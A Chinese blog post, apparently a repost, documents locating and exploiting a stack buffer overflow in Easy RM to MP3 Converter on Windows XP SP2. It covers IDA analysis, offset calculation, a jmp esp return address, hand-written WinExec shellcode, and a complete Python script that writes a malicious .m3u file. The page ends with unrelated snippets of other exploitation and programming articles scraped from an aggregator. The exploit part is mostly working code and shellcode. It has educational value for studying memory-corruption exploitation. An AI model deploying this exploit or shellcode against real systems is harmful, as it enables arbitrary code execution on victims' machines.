Easy RM to MP3 Converter栈溢出定位及漏洞利用

  本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。

  用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter

  首先,在填充字符为10000和20000时,异常被捕捉到

在填充字符为30000时,程序崩溃

  查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

  首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数

  在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数

  跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度

  然后定位一下需要覆盖的栈内容长度

  因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload=‘\x41‘*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload=‘\x41‘*20000+pattern5000计算偏移;否则直接计算偏移即可。

在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)

所以这里我们构造一个payload=‘\x41‘*26076+addr_of_jmp_esp+nop+shellcode

  关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写

.386
    .model flat,stdcall
    option casemap:none

include     C:\masm32\include\windows.inc
include     C:\masm32\include\user32.inc
includelib  C:\masm32\lib\user32.lib
include     C:\masm32\include\kernel32.inc
includelib  C:\masm32\lib\kernel32.lib

    .code
start:
;WinExec("calc",5)
xor eax,eax
push eax
mov eax,6578652Eh
push eax
mov eax,636c6163h
push eax
mov eax,esp
push 5
push eax
mov eax,77E6E695h;kernel32.winexec(),需要调试确定
call eax

end start

关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定

(这里忽略第一行的空字节压栈)

读取编译好的字节码也可以用分享的perl脚本readbin.pl确定

这里可以对照OD确定机器码的起始位置。

完整exp如下

f=open(‘pwn.m3u‘,‘w‘)
exp=‘\x41‘*26076
exp+=‘\xed\x1e\x94\x7c‘#addr_of_jmp_esp
exp+=‘\x90‘*4
exp+="\x33\xc0\x50\xb8\x2e\x65\x78\x65\x50\xb8\x63\x61\x6c\x63\x50\x8b\xc4\x6a\x05\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x00"
f.write(exp)
f.close()

这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。

在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行

继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop

填充4字节nop后,pwned

PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec

原文地址:https://www.cnblogs.com/snip3r/p/9499872.html

时间: 2024-10-08 15:15:33

Easy RM to MP3 Converter栈溢出定位及漏洞利用的相关文章

20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样的计算机架构,进程使用的内存都可以按照功能大致分为以下4个部分: 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行. 数据区:用于存储全局变量等. 堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区.动态分配和回收是堆区的特点. 栈区:用于动态地存储函

Android内核漏洞利用技术实战:环境搭建&栈溢出实战

前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是arm汇编以及环境的搭建方面.本文对我最近的实践做一个分享,其实很简单. 内核调试环境搭建 搭建平台: ubuntu 16.04 这里使用 android 模拟器来进行内核调试.首先下载内核代码 git clone https://aosp.tuna.tsinghua.edu.cn/kernel/g

Android栈溢出漏洞利用练习

在Github上看到一个Linux系统上的栈溢出漏洞利用练习项目: easy-linux-pwn.在原项目基础上,我稍微做了一些改动,将这个项目移植到了Android 9.0系统上: easy-android-pwn.对Android漏洞利用有兴趣的可以练习一下. 由于Android系统与其他Linux桌面系统在安全配置上有下面两方面的差异,导致此项目不能直接在Android系统上使用.需要对系统做一些改动,重新编译ROM(或者仅编译替换linker程序). 即使通过echo 0 | sudo

soritong MP3播放器缓冲区溢出漏洞分析

软件下载:https://www.exploit-db.com/apps/a1def037869c831496bda3d81b0d06f5-soritong10.exe 加载POC 程序崩溃点: SoriTong!MmutilityC8_4+0xc53:0040c55f 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\ 该段代码伪代码: int __cdecl sub_40C444(int a4, LP

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 1. 漏洞描述 音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的参数时没有做有效的边界检查.应用程序可以通过/dev/msm_acdb设备文件就能达到提升权限的目的. 2. 漏洞分析 原始代码如下 if (size <= 0) { pr_err("%s: Invalid size sent to driver: %d\n", __

NSCTF2015 逆向第五题分析

这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错.但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路.主要参考:绿盟科技网络攻防赛资料下载 0x01 题目要求 题目要求如下: 1.找出Exploit.exe中的漏洞.简单分析漏洞的成因,包括漏洞类型.相关的反汇编或伪C代码以及说明信息等. 2.在开启DEP+ASLR的系统里运行Exploit.弹出计算器. 0x02 漏洞分析 首先脱掉ASPack壳,OEP如下: 使用IDA分析,发现这是一个Socket serv

shellcode在栈溢出中的利用与优化

0x00 前言 在<Windows Shellcode学习笔记--shellcode的提取与测试>中介绍了如何对shellcode作初步优化,动态获取Windows API地址并调用,并通过程序实现自动提取机器码作为shellcode并保存到文件中. 弹框实例shellcode的bin文件已上传至github,地址如下: https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin 注:shellcode.

DVD转成VOB/MP4/MP3文件

朋友让帮忙把DVD转成电脑直接播放文件,找了一些软件试了下,都没有成功,最后利用DVDDecrypter软件才搞定,转成VOB文件,然后又把VOB文件转成MP4,最后再把MP4成MP3格式.现记录下来,希望有需要的朋友可以参考. DVD Decrypter是一个免费的DVD文件转换工具,它可以将DVD光盘中的文件抓取出来,存放至您的电脑硬盘中. 1.        下载DVD Decrypter 在http://dl.pconline.com.cn/html_2/1/124/id=4028&pn

Java路径问题终于解决方式—可定位全部资源的相对路径寻址

1.在Java项目中,应该通过绝对路径訪问文件.下面为訪问的经常用法: 第一种方法:类名.class.getResource("/").getPath()+文件名称 另外一种方法:Thread.currentThread().getContextClassLoader().getResource("").getPath()+文件名称[主要使用] 如果文件夹结构例如以下 如今src文件夹下的类文件须要訪问config文件夹下的配置文件. 2.使用第一种方法 new F